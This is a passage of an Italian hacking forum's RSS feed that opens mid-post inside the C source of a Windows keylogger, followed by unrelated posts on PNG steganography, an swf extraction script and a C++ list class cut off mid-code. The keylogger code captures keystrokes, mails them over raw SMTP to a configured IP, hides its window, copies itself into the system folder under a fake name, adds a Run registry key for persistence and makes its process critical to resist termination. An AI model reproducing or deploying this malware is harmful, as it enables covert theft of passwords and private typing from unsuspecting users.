&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_mail ( SUBJECT, data, TO, FROM, IP, DOOR&nbsp;&nbsp;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset ( data, 0, _MAX_CHAR + 12 );<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
// Simple Mail Transfer Protocol<br />
#define _OPEN &nbsp;&nbsp;&nbsp;&nbsp;"HELO default&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"MAIL FROM: &lt;"<br />
<br />
#define _RCPT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nRCPT TO: &lt;"<br />
#define _DATA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nDATA&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"From: &lt;"<br />
<br />
#define _SUB &nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nSubject: "<br />
#define _NEWLINE&nbsp;&nbsp;&nbsp;&nbsp;"&#92;r&#92;n&#92;r&#92;n"<br />
<br />
#define _CLOSE&nbsp;&nbsp;&nbsp;&nbsp;"&#92;r&#92;n.&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"QUIT&#92;r&#92;n"<br />
<br />
inline unsigned get_len ( char * str ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;return ( unsigned ) ( strlen ( str ) * sizeof ( char ) );<br />
}<br />
<br />
int send_mail ( char * subject, char * message, char * to, char * from, const char ip [ 17 ], int door )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int sock;<br />
&nbsp;&nbsp;&nbsp;&nbsp;struct sockaddr_in saddr;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;WSADATA wsadata;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( WSAStartup ( MAKEWORD ( 2, 2 ), &amp; wsadata ) != 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ( sock = socket ( AF_INET, SOCK_STREAM, 0 ) ) &lt; 0) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_family = AF_INET;<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_addr . s_addr = inet_addr ( ip );<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_port = htons ( door );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( connect ( sock, ( struct sockaddr * ) &amp; saddr, sizeof ( saddr ) ) &lt; 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size_t check_size = get_len ( _OPEN );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _OPEN, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( from );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, from, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _RCPT );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _RCPT, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( to );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, to, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _DATA );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _DATA, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( from );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, from, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _SUB );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _SUB, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( subject );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, subject, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _NEWLINE );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _NEWLINE, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( message );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, message, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _CLOSE );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _CLOSE, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;closesocket ( sock );<br />
&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup ( );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int take_n_run ( int key, char * buffer )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;switch ( key ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 8 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[b]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 13 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "&#92;n" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 32 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, " " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_TAB :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[T]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_SHIFT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[S]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_CONTROL :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[C]" ) ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_ESCAPE :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[ES]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_END :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[EN]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_HOME :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[H]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_LEFT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[L]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_RIGHT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[R]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_UP :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[u]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_DOWN :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[D]" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 110 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 190 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "." );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, ( char * ) &amp; key );<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
#define CONSOLE_NAME "Secure"<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
int hideConsole ( void )<br />
{<br />
&nbsp;&nbsp; if ( ! SetConsoleTitle ( CONSOLE_NAME ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp; }<br />
<br />
&nbsp;&nbsp; HWND thisWindow;<br />
<br />
&nbsp;&nbsp; thisWindow = FindWindow( NULL, CONSOLE_NAME );<br />
<br />
&nbsp;&nbsp; ShowWindow ( thisWindow, 0 );<br />
&nbsp;&nbsp; return 0;<br />
}<br />
<br />
#define FAKE_NAME "&#92;&#92;secure.exe"<br />
#define FAKE_KEY "Secure Internet"<br />
<br />
void regApp ( void ) <br />
{<br />
&nbsp;&nbsp; char system_ [ MAX_PATH ];<br />
&nbsp;&nbsp; char pathToFile[ MAX_PATH ];<br />
&nbsp;&nbsp; HMODULE getMod = GetModuleHandle ( NULL );<br />
<br />
&nbsp;&nbsp; GetModuleFileName ( getMod, pathToFile, sizeof&nbsp;&nbsp;( pathToFile ) );<br />
&nbsp;&nbsp; GetSystemDirectory ( system_, sizeof ( system_ ) );<br />
<br />
&nbsp;&nbsp; strcat ( system_, FAKE_NAME );<br />
<br />
&nbsp;&nbsp; CopyFile ( pathToFile, system_, 0);<br />
<br />
&nbsp;&nbsp; HKEY key_;<br />
<br />
&nbsp;&nbsp; RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "Software&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;CurrentVersion&#92;&#92;Run", 0, KEY_SET_VALUE, &amp; key_ );<br />
<br />
&nbsp;&nbsp; RegSetValueEx ( key_, FAKE_KEY, 0, REG_SZ, ( const unsigned char * ) system_, sizeof ( system_ ) );<br />
<br />
&nbsp;&nbsp; RegCloseKey ( key_ );<br />
}<br />
<br />
int protectProcess ( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int enablePriv ( const char * szPriv );<br />
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE DLL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlSetProcessIsCritical setCritical;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;DLL = LoadLibraryA ( "ntdll.dll" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( DLL == NULL ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( enablePriv ( SE_DEBUG_NAME ) &lt; 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;setCritical = ( RtlSetProcessIsCritical ) GetProcAddress( ( HINSTANCE ) DLL, "RtlSetProcessIsCritical" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! setCritical ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;setCritical ( 1, 0, 0 );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int enablePriv ( const char * szPriv )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE token;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LUID luid;<br />
&nbsp;&nbsp;&nbsp;&nbsp;TOKEN_PRIVILEGES privs;<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset ( &amp;privs, 0, sizeof ( privs ) );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! OpenProcessToken ( GetCurrentProcess ( ), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp; token ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! LookupPrivilegeValue ( NULL, szPriv, &amp; luid ) )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle ( token );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . PrivilegeCount = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . Privileges [ 0 ] . Luid = luid;<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . Privileges [ 0 ] . Attributes = SE_PRIVILEGE_ENABLED;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! AdjustTokenPrivileges ( token, FALSE, &amp; privs, sizeof ( privs ), NULL, NULL ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle ( token );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div>
Se volete provarlo vi conviene utilizzare Sandbox o commentare le seguenti linee che introducono le funzioni più dannose:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>&nbsp;&nbsp;&nbsp;&nbsp;//regApp ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;//protectProcess ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;//hideConsole ( );</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PNG e messaggio nascosto]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17123</link>
			<pubDate>Fri, 23 Jul 2010 09:20:24 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17123</guid>
			<description><![CDATA[Buongiorno a tutti, qualche giorno fa un mio amico mi ha chiesto un suggerimento relativo ad un file inviatogli.<br />
Questo file è una png nella quale, a detta di chi l'ha inviata, ci dovrebbe essere un messaggio di qualche tipo.<br />
Non sono riuscito ad aiutarlo, ma non riesco a levarmi dalla testa quella maledetta immagine e il fatto di non esservi riuscito. Peraltro non posto l'immagine perchè non cerco qualcuno che risolva il problema al posto mio, perderei tutto il gusto.<br />
Non avendo alcun tipo di esperienza, ho fatto i seguenti tentativi (dopo essermi documentato):<br />
<br />
- Esame dei livelli (essendo una PNG)<br />
- Apertura con editor esadecimale<br />
- Estrazione con software di steganografia<br />
<br />
In particolare non ho trovato software che trattassero le png con la stessa facilità con cui trattano le jpeg. Di mio continuo a pensare ci siano dati mancanti al problema, ovvero un'eventuale password per la decifrazione.<br />
Nel frattempo di una vostro eventuale consiglio, vi ringrazio.]]></description>
			<content:encoded><![CDATA[Buongiorno a tutti, qualche giorno fa un mio amico mi ha chiesto un suggerimento relativo ad un file inviatogli.<br />
Questo file è una png nella quale, a detta di chi l'ha inviata, ci dovrebbe essere un messaggio di qualche tipo.<br />
Non sono riuscito ad aiutarlo, ma non riesco a levarmi dalla testa quella maledetta immagine e il fatto di non esservi riuscito. Peraltro non posto l'immagine perchè non cerco qualcuno che risolva il problema al posto mio, perderei tutto il gusto.<br />
Non avendo alcun tipo di esperienza, ho fatto i seguenti tentativi (dopo essermi documentato):<br />
<br />
- Esame dei livelli (essendo una PNG)<br />
- Apertura con editor esadecimale<br />
- Estrazione con software di steganografia<br />
<br />
In particolare non ho trovato software che trattassero le png con la stessa facilità con cui trattano le jpeg. Di mio continuo a pensare ci siano dati mancanti al problema, ovvero un'eventuale password per la decifrazione.<br />
Nel frattempo di una vostro eventuale consiglio, vi ringrazio.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[swfBomb]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17122</link>
			<pubDate>Thu, 22 Jul 2010 05:10:23 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17122</guid>
			<description><![CDATA[O sono scemo io di brutto, oppure quelli di swftool sono scimmie ubriache e non hanno dato un'opzione per estrarre da un swf TUTTO in una volta sola.<br />
<br />
E così, ho fatto un semplice script che estrae tutto da un swf (usando swfexstract). La parte divertente è che appena l'ho finito mi sono scordato cosa dovevo farci, e quindi per dargli un senso l'ho abbellito con un po' di cazzate ed eccolo qua.<br />
<br />
<a href="http://sprunge.us/KWVN?rb" target="_blank">http://sprunge.us/KWVN?rb</a><br />
<br />
il todo sta lì solo per dire "sì lo so che si può migliorare e tanto, è che non ho voglia".<br />
<br />
EDIT: Inutile dire che vi serve swfextract, che sta nel pacchetto swftools]]></description>
			<content:encoded><![CDATA[O sono scemo io di brutto, oppure quelli di swftool sono scimmie ubriache e non hanno dato un'opzione per estrarre da un swf TUTTO in una volta sola.<br />
<br />
E così, ho fatto un semplice script che estrae tutto da un swf (usando swfexstract). La parte divertente è che appena l'ho finito mi sono scordato cosa dovevo farci, e quindi per dargli un senso l'ho abbellito con un po' di cazzate ed eccolo qua.<br />
<br />
<a href="http://sprunge.us/KWVN?rb" target="_blank">http://sprunge.us/KWVN?rb</a><br />
<br />
il todo sta lì solo per dire "sì lo so che si può migliorare e tanto, è che non ho voglia".<br />
<br />
EDIT: Inutile dire che vi serve swfextract, che sta nel pacchetto swftools]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++&#93; Liste]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17121</link>
			<pubDate>Wed, 21 Jul 2010 09:20:17 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17121</guid>
			<description><![CDATA[Una classe che ho scritto per esercizio e utilità anche se esiste già quella nelle librerie standard.<br />
<br />
list.h<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#ifndef LIST_H<br />
#define LIST_H<br />
<br />
template &lt; class type &gt;<br />
class list<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;class elem<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;public:<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;~elem ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;type value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;public:<br />
&nbsp;&nbsp;&nbsp;&nbsp;list ( ) :<br />
&nbsp;&nbsp;&nbsp;&nbsp;size(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;~list ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * tmp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( first )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp = first;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;first = first -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;void insert_back ( type );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void insert ( type, int );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;void erase ( int );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;type &amp; firstValue ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return first -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;type &amp; lastValue ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return last -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
